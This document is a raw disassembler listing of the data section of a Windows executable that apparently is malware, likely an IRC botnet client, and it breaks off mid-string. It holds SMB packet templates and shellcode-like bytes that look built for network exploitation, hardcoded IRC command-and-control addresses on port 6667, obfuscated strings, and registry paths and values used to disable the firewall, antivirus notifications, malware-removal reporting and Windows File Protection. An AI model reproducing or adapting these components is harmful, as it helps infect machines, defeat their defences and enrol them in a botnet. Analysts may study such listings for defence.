2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_411A5E+87o unicode 0, <C$>,0 a????? db '?????',0 dd 2 dup(0) dword_438C38 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+27Ao dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_438CA8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+2A9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_438D50 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+395o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_438DD0 dd offset loc_401490+5 ; DATA XREF: sub_411A5E+3C3o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_438E68 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+2E6o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_438ED8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+311o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_438F50 dd 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) dword_438FDC dd 7449BF1Ah dd 1, 77324321h, 2 dup(0) ; --------------------------------------------------------------------------- loc_438FF0: ; DATA XREF: sub_411A5E+13Do jmp short loc_438FF8 ; --------------------------------------------------------------------------- jmp short loc_438FFA ; --------------------------------------------------------------------------- align 8 loc_438FF8: ; CODE XREF: .text:loc_438FF0j ; DATA XREF: sub_411A5E+27o ... pop esp pop esp loc_438FFA: ; CODE XREF: .text:00438FF2j and eax, 50495C73h inc ebx and al, 0 ; --------------------------------------------------------------------------- dw 0 dword_439004 dd 1CEC8166h dword_439008 dd 0E4FF07h align 10h word_439010 dw 43Bh ; DATA XREF: sub_401477:loc_4014D6r ; sub_403B2C:loc_4054BAr word_439012 dw 1193h ; DATA XREF: sub_403B2C:loc_404DBCr word_439014 dw 3F5h ; DATA XREF: .text:004031ACr ; sub_40B63F+124r ... byte_439016 db 2Ah ; DATA XREF: sub_403A63+2Fr ; sub_403A63+83r ... align 4 dword_439018 dd 14h ; sub_41B69D+3Cr ; --------------------------------------------------------------------------- loc_43901C: ; DATA XREF: sub_412267+11o xor [eax+31h], bh db 66h, 66h pop ebx xor eax, 5D34h loc_439027: ; DATA XREF: sub_403B2C+13C5o ; sub_403B2C+13EEo ... add [esi+35h], bl cmp ah, [ebp+0] loc_439030: ; DATA XREF: sub_401477+89o ; sub_403B2C+19B7o ... sbb dh, [esi+7Ch] std inc eax or ebx, [edi+0A40Dh] loc_43903C: ; DATA XREF: sub_401160+BEo ; sub_4130E5+24Eo ... sbb dh, [esi+7Ch] cld inc ebp or al, 0 loc_439043: ; DATA XREF: sub_403B2C+13CAo ; sub_403B2C+13F3o ... add [esi+35h], bl cmp ah, [ebp+0] loc_43904C: ; DATA XREF: sub_419B2F+1BBr pop esp retn 43h ; --------------------------------------------------------------------------- dd offset dword_43C24C ; --------------------------------------------------------------------------- inc eax retn 43h ; --------------------------------------------------------------------------- cmp dl, al inc ebx add [eax], dh retn 43h ; --------------------------------------------------------------------------- and al, 0C2h inc ebx add [eax], bl retn 43h ; --------------------------------------------------------------------------- dword_439068 dd 0B35B5E23h, 76DC0D71h, 66FBAC1Ch, 7B13F9BEh, 59E01F84h ; DATA XREF: sub_4120E9+46o ; sub_412EB7+114o ... dd 28D185F4h, 22B558Ch, 558FF383h, 3D2431C9h, 9111FFD1h dd 19F4DAA4h, 4F19D5h dword_439098 dd 0B35B5E23h, 76DC0D71h, 66FBAC1Ch, 7B13F9BEh, 59E01F84h ; DATA XREF: sub_41B424+59o ; sub_41D499+B0o dd 28D185F4h, 22B558Ch, 558FF383h, 3D2431C9h, 9111FFD1h dd 19F4DAA4h, 4F19D5h dword_4390C8 dd 0F16E7528h, 22C11D4Fh, 66CA843Bh, 6217FCA2h, 18EE0486h ; DATA XREF: sub_41B424:loc_41B4B8o ; sub_41D499+C8o dd 33CD9FE9h, 126E62C9h, 59BBBA8Ch, 64792387h, 0C147F193h dd 66A98DE4h, 0E31653FDh, 6070943Ch, 88AE0FF9h, 0CDB1CA0Bh dd 3F5336FBh, 48BF0AE1h, 0FBC4978Dh, 117138D4h, 7F52DBFCh dd 0D6877FBDh, 8BFCBB19h, 7324751Bh, 49C90CA7h, 5FFD4C23h dd 0 dword_439130 dd 80000002h ; sub_414CF1+1EAr ... dword_439134 dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h, 64EE1086h ; DATA XREF: sub_414983+1BDo ; sub_414983+231o ... dd 28D7BBDCh, 33969C8h, 45AFC6A9h, 7D73359Bh, 0D2408794h dd 28A281E4h, 0F12B7DD1h, 20h, 32h dup(0) db 3 dup(0) byte_439233 db 3Ah ; DATA XREF: sub_414FE3+2Do ; sub_41B69D+ABo ... dd 40FD7C76h, 1051920Bh, 922FE8B3h, 0ECh, 0BFh dup(0) dword_439540 dd 0A03F2A16h, 31F14B6Fh, 75DDEC45h, 264ABAB3h, 15AA45D8h ; DATA XREF: sub_40CDE2+607o ; sub_4120E9+14Eo ... dd 7588DFB9h, 497B4381h, 7DFABB0h, 415317DCh, 0ACADh dword_439568 dd 0F7666D23h, 6BD61D6Eh, 28FB8214h, 15EC85h ; sub_414983+31Bo ... dword_439578 dd 0FC606B3Eh, 70F6584Fh, 34FBB71Ch, 6002DAD1h, 5DF91F9Fh ; DATA XREF: sub_414983+236o ; sub_414983+24Fo ... dd 0 dword_439590 dd 0E061723Ah, 70D72B03h, 23FDA803h, 0 ; sub_414983+1DBo ... ; --------------------------------------------------------------------------- loc_4395A0: ; DATA XREF: sub_419B2F+214o ; sub_41D499+110o pop esi sub [edi], dh stosb inc edi sbb edi, edx xor [ebx-10h], eax jmp dword ptr [eax] ; --------------------------------------------------------------------------- dd 2205B0C6h, 5BA315DDh, 768989B8h, 46283199h, 68FF9C5h dd 0 dword_4395C4 dd 0A5387F08h, 3AD11B42h, 77A7F546h, 2457EBC7h, 9FE40D8h ; DATA XREF: sub_403B2C+821o ; sub_41D499+128o dd 728BD4E1h, 402830CFh, 188FE94h, 0 dword_4395E8 dd 0A23C294Ch, 30835B11h, 7EAEF846h, 2254BBC0h, 0AAB4ED0h ; DATA XREF: sub_419B2F+30o ; sub_419F6A+C4o ... dd 778DDCB9h, 2E10209Eh, 19C4AFD3h, 212274A9h, 954F91C3h dd 2CF9DBFFh, 0B14A15B8h, 3028D16Dh, 0D8F34BFDh, 95FA8A1Eh dd 6D0573ADh, 5FFB48A7h, 0B8959D95h, 41362BF0h, 1A95BDh dword_439638 dd 3D4Eh ; sub_403B2C+721o ... dword_43963C dd 0A65C5E29h, 4A12h ; sub_40F770+CDo ... dword_439644 dd 6A3D4Eh ; sub_403B2C+1110o ... dword_439648 dd 7C3D4Eh ; sub_415702+5o ... dword_43964C dd 643D4Eh ; sub_403B2C+FBEo ... dword_439650 dd 7C3D4Eh, 0 ; sub_419B2F:loc_419ED0o ... dword_439658 dd 0F86B7405h ; sub_412267+4FDr dd 71DB1350h, 77A6F844h, 7702FEDFh, 16E9188Dh, 0D383E3h dd 21h dup(0) db 3 dup(0) byte_4396F7 db 1Eh ; DATA XREF: sub_412267+4CFo ; sub_41D499+188o dd 46E16C7Eh, 663C20Ch, 0B2h, 0 dword_439708 dd 1F90h ; sub_403B2C+484o ... dword_43970C dd 0 dd 0FC777415h, 6FCB155Bh, 31B0AF14h, 7C03EC94h, 57F9589Ah dd 0EDh, 21h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0EB3F355Ch, 31824913h, 76E6F10Dh, 7D04A79Ch, 0F915C7h dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0E766355Ch, 609F0150h, 3FEDB51Ch, 3C08EADFh, 158Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0FB7C7A09h, 2CDC194Eh, 36F7AF11h, 6602E7DFh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0FE607415h, 2CCB084Ch, 36F7AF11h, 6602E7DFh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0E77D7E0Ah, 6CDC194Eh, 20F8A45Bh, 3C14FB94h, 0F7198Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0F1616E1Eh, 2CDC0A56h, 23F0AD13h, 6008A785h, 8Eh, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0E16C7E1Eh, 6CC10C46h, 68FBAA14h, 7C02F99Eh, 16E9188Dh dd 89E2h, 21h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0F67A770Fh, 2CD51747h, 28FBB11Ah, 3C14E795h, 138Bh dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0A23F630Bh, 31834C13h, 3FF6B65Bh, 6008A7B8h, 8Eh, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0F66A690Ah, 6CD3154Dh, 23FBB65Bh, 3C14E795h, 0F7198Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0BD61635Dh, 6DD4014Eh, 34FFA31Ah, 7409E0DFh, 86h, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0A23E635Dh, 64CA480Dh, 2FB0A713h, 8EF9Fh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0A237770Fh, 7BDA0F0Dh, 34F1EF3Ch, 96h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0EB3F355Ch, 2C82491Bh, 25B0AE16h, 92h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0F86B7405h, 71DB1350h, 77A6F844h, 7702FEDFh, 16E9188Dh dd 0D383E3h, 21h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0FC777415h, 6FCB155Bh, 31B0AF14h, 7C03EC94h, 57F9589Ah dd 0EDh, 21h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0EB3F355Ch, 31824913h, 76E6F10Dh, 7D04A79Ch, 0F915C7h dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0E766355Ch, 609F0150h, 3FEDB51Ch, 3C08EADFh, 158Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0FB7C7A09h, 2CDC194Eh, 36F7AF11h, 6602E7DFh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0FE607415h, 2CCB084Ch, 36F7AF11h, 6602E7DFh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0E77D7E0Ah, 6CDC194Eh, 20F8A45Bh, 3C14FB94h, 0F7198Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0F1616E1Eh, 2CDC0A56h, 23F0AD13h, 6008A785h, 8Eh, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0E16C7E1Eh, 6CC10C46h, 68FBAA14h, 7C02F99Eh, 16E9188Dh dd 89E2h, 21h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0F67A770Fh, 2CD51747h, 28FBB11Ah, 3C14E795h, 138Bh dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0A23F630Bh, 31834C13h, 3FF6B65Bh, 6008A7B8h, 8Eh, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0F66A690Ah, 6CD3154Dh, 23FBB65Bh, 3C14E795h, 0F7198Ah dd 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0BD61635Dh, 6DD4014Eh, 34FFA31Ah, 7409E0DFh, 86h, 22h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0A23E635Dh, 64CA480Dh, 2FB0A713h, 8EF9Fh, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0A121295Ah, 339C4E10h, 71B0F243h, 0C1h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0BD3C225Ch, 2C854B12h, 68AFF147h, 56BFC0h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 8 dd 0A6212F5Ah, 36835617h, 70A8EF40h, 24h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 db 90h db 1Fh, 2 dup(0) align 10h dd 0A121295Ah, 339C4E10h, 71B0F243h, 0C1h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0BD3C225Ch, 2C854B12h, 68AFF147h, 56BFC0h, 23h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dd 0A6212F5Ah, 36835617h, 70A8EF40h, 24h dup(0) dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0 dd 1F91h, 0 dword_43B038 dd 80000002h ; sub_412267+53r ... dword_43B03C dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h, 64EE1086h ; DATA XREF: sub_4120E9+10Bo ; sub_412267+46o ... dd 28D7BBDCh, 33969C8h, 45AFC6A9h, 7D73359Bh, 0D2408794h dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch, 0CFB7DA45h dd 2AE5h, 2Fh dup(0) db 3 dup(0) byte_43B13B db 20h ; DATA XREF: sub_4120E9+106o ; sub_412267+4Do ... dd 6FD64248h, 2Ch, 0C1h dup(0) dd 80000002h dword_43B44C dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h, 64EE1086h ; DATA XREF: sub_41D499+2B6o dd 28D7BBDCh, 33969C8h, 45AFC6A9h, 7D73359Bh, 0D2408794h dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch, 0CFB7DA45h dd 2AE5h, 2Fh dup(0) db 3 dup(0) off_43B54B dd offset byte_5F6E3F ; DATA XREF: sub_41D499+2CEo align 10h dd 0C2h dup(0) dd 80000002h dword_43B85C dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h, 64EE1086h ; DATA XREF: sub_41D499+2E6o dd 28D7BBDCh, 33969C8h, 45AFC6A9h, 7D73359Bh, 0D2408794h dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch, 0CFB7DA45h dd 2AE5h, 2Fh dup(0) db 3 dup(0) byte_43B95B db 24h ; DATA XREF: sub_41D499+2FEo dd 46FE664Fh, 0C2h dup(0) aXs_gx1codil0ip db 'XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECot5.3LwcH.9DpYh/gAuwv/Xt.Gq' ; DATA XREF: sub_403B2C+2D6Ao ; sub_403B2C+2E4Co ... db '/RDubo13ke.r/3.v3N02NvJL/CS42A/Q./FK0K0RIG/.',0 align 4 aYwxiw_hzl400fd db 'yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd/y0gIBrE1rRds10.3Mzo0fIHLX' ; DATA XREF: sub_403B2C+2C45o ; sub_403B2C+3544o ... db '0QK7f./XE83W.gN7RP..D8EN1hFW6.0UWq/O.1n0S31VIJc109Bp4A1stfLz1wtuD' db '3.zHiud1iQqWq/1Iu5L0BkFVn1',0 align 4 aH08_Drzwx_ db 'h/08./drzWX.',0 ; DATA XREF: sub_403B2C+26Fo ; sub_403B2C+2F2o ... align 4 aQo1bf0_b7k40mn db 'qo1bf0.B7k40Mnsrm1FhS.k.',0 ; DATA XREF: sub_40281E+73o ; sub_40281E+97o ... align 4 aIi290eb6g4Ty84 db 'II/290Eb6G4/TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+1143o ; sub_403B2C+14ECo ... align 10h a68gmpWcesMnsrm db '68gmp/wceS//Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+1194o ; sub_403B2C+11E8o ... align 4 aYuohiGmfzv db 'yUoHi/GMFZv/',0 ; DATA XREF: sub_403B2C+1B8Do ; sub_403B2C+1C0Do ... align 4 aX1pikRo_tl_ db 'X1PIk/rO.TL.',0 ; DATA XREF: sub_403B2C+201Co ; sub_403B2C:loc_405B65o ... align 4 aZrbax_zpsbs_ty db 'ZRbAx.zPSBs.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+2404o ; sub_403B2C+2455o ... align 4 aG4xsw0ja5mx_ db 'g4XSw0jA5mx.',0 ; DATA XREF: sub_403B2C+72BEo ; sub_403B2C+72E0o ... align 4 aWxbrg_rpy8y_ty db 'wXBrG.Rpy8y.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+7331o ; sub_403B2C+73BDo ... align 4 aRaMr15qabm1 db 'RA/Mr15qAbm1',0 ; DATA XREF: start+Fo sub_401408+25o ... align 4 aPnmnw_7rscg0 db 'PnmNw.7RScG0',0 ; DATA XREF: sub_401477+DCo ; sub_402190+489o ... align 4 aQnqb5Bavh1_mns db 'qnQb5/bavH1.Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+1D21o ; sub_403B2C:loc_40586Bo ... align 10h aFr3nb0ttxid1mn db 'Fr3NB0Ttxid1Mnsrm1FhS.k.',0 ; DATA XREF: sub_418B58+2F6o ; sub_41D98A+5C1o align 4 aIvrum__ltyn0x9 db 'iVRum..LtyN0X9DHH1k06Rd1',0 ; DATA XREF: sub_403B2C+1E00o ; sub_403B2C:loc_405A78o ... align 4 aBsxrm1gm35a0ty db 'BSXRM1GM35a0TY84s/myQpz0',0 ; DATA XREF: sub_41D98A+627o align 4 aOpc9a1uprd41iw db 'OPC9A1upRd41IwhIm0ocHBf0',0 ; DATA XREF: sub_403B2C+3DE7o ; sub_403B2C+3E77o ... align 10h aSmo3c0mcu8j_xf db 'SmO3C0MCu8j.xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+3F70o ; sub_403B2C+3FA9o ... align 4 aTovrfYuzfi1mns db 'tOVrF/YuzFI1Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+495Bo ; sub_403B2C+4A3Do ... align 4 aM7pC1xaudb1ty8 db 'm7P/c1xaudB1TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+C2Bo ; sub_403B2C+C8Ao ... align 4 aIazcn0rzRw0xfk db 'iaZcN0Rz/rw0xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+D92o ; sub_403B2C:loc_404967o ... align 10h a8niowW5nrt1 db '8nIOw/w5nRT1',0 ; DATA XREF: sub_403B2C+1220o ; sub_403B2C+129Do ... align 10h aFr5ye08wltp1mn db 'fr5ye08Wltp1Mnsrm1FhS.k.',0 ; DATA XREF: sub_419B2F+146o ; sub_419B2F+1EDo ... align 4 a8sxng_tdfrt db '8sXNG.tDfrt/',0 ; DATA XREF: sub_403B2C+6920o ; sub_403B2C+6A0Fo ... align 4 aI7lwu1uby8a0 db 'i7LwU1UbY8A0',0 ; DATA XREF: sub_403B2C+50F7o ; sub_403B2C+52D0o ... align 4 aCwje81zpyq1_ty db 'CWje81ZpYQ1.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+649Do ; sub_403B2C+64D1o ... align 4 aXtyre1_rjar_xf db 'XtyrE1.RJaR.xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+5A00o ; sub_403B2C+5AAEo ... align 4 a2fulsVpayi0 db '2FUlS/VPAyI0',0 ; DATA XREF: sub_403B2C+57F7o ; sub_403B2C+58A6o ... align 4 aZshqz13bz2w1 db 'ZsHqZ13bZ2w1',0 ; DATA XREF: sub_403B2C+5C20o ; sub_403B2C+5CCEo ... align 4 aJjc1c1nn0bl0ty db 'JJc1c1nn0bL0TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+5E67o ; sub_403B2C+5F2Bo ... align 10h aCkdai0gd9lr_ db 'ckdai0Gd9lr.',0 ; DATA XREF: sub_403B2C:loc_40771Do ; sub_403B2C+3C36o ... align 10h a75bqq0i7ucw0 db '75bQQ0i7ucW0',0 ; DATA XREF: sub_403B2C+60B5o ; sub_403B2C+61A9o ... align 10h aIQ db '(I]q',0 ; DATA XREF: sub_41A1C8+Co ; sub_41D499+346o align 4 aRa db '=RA',0 ; DATA XREF: sub_4032F1+4Eo ; sub_410269+19Ao ... align 10h aTa db '=TA',0 ; DATA XREF: sub_4032F1+5Fo ; sub_410269+1B9o ... align 4 aZ db '=Z\',0 ; DATA XREF: sub_40FFB4+129o ; sub_41D499+38Eo align 10h a8hj db '8HJ',0 ; DATA XREF: sub_4033F0+A0o ; sub_40FFB4+151o ... align 4 aTf db 27h,'TF',0 ; DATA XREF: sub_403B2C+2C96o ; sub_403B2C+2CEAo ... align 10h aZ_0 db '=Z]',0 ; DATA XREF: sub_403B2C+2D2Bo ; sub_403B2C+2D70o ... align 4 dword_43C078 dd 0C546493Dh, 0F52B6Eh ; sub_403B2C+27BBo ... dword_43C080 dd 0DA5B5423h, 3D60h ; sub_403B2C+32BFo ... dword_43C088 dd 0D84C5223h, 0 ; sub_4033F0+A6o ... dword_43C090 dd 0D84C5226h, 0 ; sub_41D499+436o dword_43C098 dd 0DA5F5439h, 60h ; sub_41D499+44Eo dword_43C0A0 dd 0D64B5420h, 0 ; sub_410795+1Ao ... dword_43C0A8 dd 0C7464E3Ch, 0 ; sub_41015C:loc_4101AFo ... dword_43C0B0 dd 0C14A4838h, 56E1376Bh, 0 ; sub_41A1C8+54o ... dd 6F6877h, 4F4D535Bh, 4154532Dh, 554E494Dh, 5D53h, 43C204h dd 43C1F0h, 43C1DCh, 43C1CCh, 43C1B8h, 43C1ACh, 43C1A0h dd 43C194h, 43C188h, 4352496Dh, 332E3276h, 564441h, 4352496Dh dd 2E327620h, 64412033h, 636E6176h, 4F426465h, 54h, 6D6F73h dd 646E6977h, 2E786262h, 657865h, 20425355h, 3F003376h dd 2D4F4D53h, 0 dd 45h, 43C184h, 1A0Bh, 6D737323h, 6E6Fh, 6D737323h, 736E6Fh dd 6D737323h, 6B6E6Fh, 6D737323h, 656E6Fh, 0D340h, 64737323h dd 727370h dword_43C170 dd 24h ; sub_403B2C+4CAr ... dword_43C174 dd 7 ; sub_419B2F+1ACr ... dword_43C178 dd 10h dd offset byte_44D6A4 dd offset byte_44D6A4 dd 2A402Ah, 322E3237h, 38312E30h, 322Eh, 352E3237h, 2E322E30h dd 32h, 322E3237h, 30332E30h, 322Eh, 322E3237h, 30322E30h dd 37322Eh, 2E31736Eh, 6D617473h, 73756E69h, 74656E2Eh dd 0 dd 322E3237h, 37332E30h, 3934312Eh, 0 a72_20_54_57666 db '72.20.54.57:6667',0 align 10h a72_20_38_17666 db '72.20.38.17:6667',0 align 4 a72_20_22_18054 db '72.20.22.180:54080',0 align 4 dd 0D3253A47h, 2C825613h, 45h, 0D3253A47h, 2C845615h, 43h dd 0D3253A47h, 13h, 0D3253A47h, 0CC525Dh, 0D3253A47h, 74D35609h dd 0 dword_43C24C dd 0D3253A47h, 7BC60C09h, 23F0EF45h, 85h, 0D3253A47h, 67C6194Bh ; DATA XREF: .text:00439050o dd 24AEA35Bh, 7515E6DFh, 0 dword_43C270 dd 255C7325h, 73h ; sub_414983+157o ... aSoftwarePoli_0 db 'SOFTWARE\Policies\Microsoft\MRT',0 ; DATA XREF: sub_412267+3EEo aDontreportinfe db 'DontReportInfectionInformation',0 ; DATA XREF: sub_412267+3E9o align 4 aFirewalloverri db 'FirewallOverride',0 ; DATA XREF: sub_412267+3D8o align 4 aFirewalldisabl db 'FirewallDisableNotify',0 ; DATA XREF: sub_412267+3CAo align 4 aAntivirusoverr db 'AntiVirusOverride',0 ; DATA XREF: sub_412267+3BCo align 4 aAntivirusdisab db 'AntiVirusDisableNotify',0 ; DATA XREF: sub_412267+3AEo align 10h aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_412267+3A7o align 8 aSystemContro_0 db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol' ; DATA XREF: sub_412267+378o db 'icy\DomainProfile',0 align 4 aDisablenotific db 'DisableNotifications',0 ; DATA XREF: sub_412267+36Bo ; sub_412267+398o align 4 aDonotallowexce db 'DoNotAllowExceptions',0 ; DATA XREF: sub_412267+35Ao ; sub_412267+38Ao align 4 aEnablefirewall db 'EnableFirewall',0 ; DATA XREF: sub_412267+34Do ; sub_412267+37Do align 10h aSystemControls db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol' ; DATA XREF: sub_412267+348o db 'icy\StandardProfile',0 align 4 aAutosharewks db 'AutoShareWks',0 ; DATA XREF: sub_412267+33Bo align 4 aAutoshareserve db 'AutoShareServer',0 ; DATA XREF: sub_412267+32Do aSfcscan db 'SFCScan',0 ; DATA XREF: sub_412267+318o aSoftwarePolici db 'Software\Policies\Microsoft\Windows NT\Windows File Protection',0 ; DATA XREF: sub_412267+30Co ; sub_412267+31Do align 10h aSfcdisable db 'SFCDisable',0 ; DATA XREF: sub_412267+307o align 4 aSizreqbuf db 'SizReqBuf',0 ; DATA XREF: sub_412267+2F9o align 4 aSystemCurren_2 db 'SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters',0 ; DATA XREF: sub_412267+2F4o align 4 aMaxconnectio_0 db 'MaxConnectionsPerServer',0 ; DATA XREF: sub_412267+2DFo aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0 ; DATA XREF: sub_412267+2CCo ; sub_412267+2E4o aMaxconnections db 'MaxConnectionsPer1_0Server',0 ; DATA XREF: sub_412267+2C2o align 4 aSystemCurren_1 db 'SYSTEM\CurrentControlSet\Services\Afd\Parameters',0 ; DATA XREF: sub_412267+2B2o align 4 aDisablerawsecu db 'DisableRawSecurity',0 ; DATA XREF: sub_412267+2ADo align 4 aAllowuserrawac db 'AllowUserRawAccess',0 ; DATA XREF: sub_412267+29Fo align 10h aLargebuffersiz db 'LargeBufferSize',0 ; DATA XREF: sub_412267+291o aTcpmaxdupacks db 'TcpMaxDupAcks',0 ; DATA XREF: sub_412267+27Do align 10h aDefaultttl db 'DefaultTTL',0 ; DATA XREF: sub_412267+26Fo align 4 aSackopts db 